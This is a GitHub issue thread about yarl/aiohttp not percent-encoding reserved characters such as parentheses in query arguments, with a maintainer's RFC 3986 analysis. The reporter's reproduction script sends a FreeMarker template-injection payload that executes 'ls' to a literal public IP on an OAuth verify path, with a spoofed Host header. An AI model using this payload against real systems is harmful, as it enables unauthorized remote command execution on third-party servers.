Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Percent-encode all reserved characters in query arguments #1073

Open
1 task done
hesamd108 opened this issue Oct 19, 2022 · 1 comment
Open
1 task done

Percent-encode all reserved characters in query arguments #1073

hesamd108 opened this issue Oct 19, 2022 · 1 comment
Labels

Comments

@hesamd108
Copy link

Describe the bug

I want to use pass parameter in URL like requests method, but it give me different response

To Reproduce

  1. Import packages:
import aiohttp
import asyncio
import re
  1. create function, use get method and send parameter:
async def main(url):
    headers = {'User-Agent': f'Mozilla/5.0 (Windows NT x.y; Win64; x64; rv:10.0) Gecko/20100101 Firefox/10.0'}
    regex = "^((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9]?[0-9])$"
    if re.search(regex, url):
        headers['Host'] = 'localhost'
    params = {
        'error': '',
        'deviceUdid': '${"freemarker.template.utility.Execute"?new()("ls")}'
    }

    async with aiohttp.ClientSession(headers=headers, connector=aiohttp.TCPConnector(ssl=False)) as session:
        async with session.get(f'https://{url}', params=params) as response:
            print(response.url)
  1. run the function:
asyncio.run(main("189.84.30.207"))

Expected behavior

Expected behavior:

https://189.84.30.207/catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7B%22freemarker.template.utility.Execute%22%3Fnew%28%29%28%22ls%22%29%7D

Actual behavior:

https://189.84.30.207/?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22ls%22)%7D

Logs/tracebacks

https://189.84.30.207/?error=&deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22ls%22)%7D

Python Version

$ python --version
3.10

aiohttp Version

$ python -m pip show aiohttp
aiohttp==3.8.3

multidict Version

$ python -m pip show multidict

yarl Version

$ python -m pip show yarl

OS

Ubuntu 20.4 LTS

Related component

Server, Client

Additional context

No response

Code of Conduct

  • I agree to follow the aio-libs Code of Conduct
@hesamd108 hesamd108 added the bug label Oct 19, 2022
@Dreamsorcerer Dreamsorcerer transferred this issue from aio-libs/aiohttp Aug 31, 2024
@Dreamsorcerer
Copy link
Member

Dreamsorcerer commented Aug 31, 2024

I think the complaint is that the ( isn't percent-encoded.

The RFC does list this in the reserved (sub-delim) set of characters:
https://datatracker.ietf.org/doc/html/rfc3986#section-2.2

Percent-encoding a reserved character, or decoding a percent-encoded octet that corresponds to a reserved character, will change how the URI is interpreted by most applications.
...
URI producing applications should percent-encode data octets that correspond to characters in the reserved set unless these characters are specifically allowed by the URI scheme to represent data in that component.
...
The characters slash ("/") and question mark ("?") may represent data within the query component.

So, I think it makes sense here if we were to escape all reserved characters, except ! and ?, that are passed into the query parameter as a dict.

Current behaviour:

>>> str(yarl.URL.build(scheme="https", host="foo", query={'deviceUdid': '${"freemarker.template.utility.Execute"?new()("ls")}'}))
'https://foo/?deviceUdid=$%7B%22freemarker.template.utility.Execute%22?new()(%22ls%22)%7D'

We probably want to avoid percent-encoding them if provided as a literal string though, as we wouldn't know if they are intended to be used as delimiters or not (which would match current behaviour regarding the = and & delimiter):

>>> str(yarl.URL.build(scheme="https", host="foo", query='foo=ba=r'))     
'https://foo/?foo=ba=r'
>>> str(yarl.URL.build(scheme="https", host="foo", query={'foo': 'ba=r'}))
'https://foo/?foo=ba%3Dr

@Dreamsorcerer Dreamsorcerer changed the title Different response at pass parameter in get method from requests Percent-encode sub-delimiters in query arguments Aug 31, 2024
@Dreamsorcerer Dreamsorcerer changed the title Percent-encode sub-delimiters in query arguments Percent-encode all reserved characters in query arguments Aug 31, 2024
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
Projects
None yet
Development

No branches or pull requests

2 participants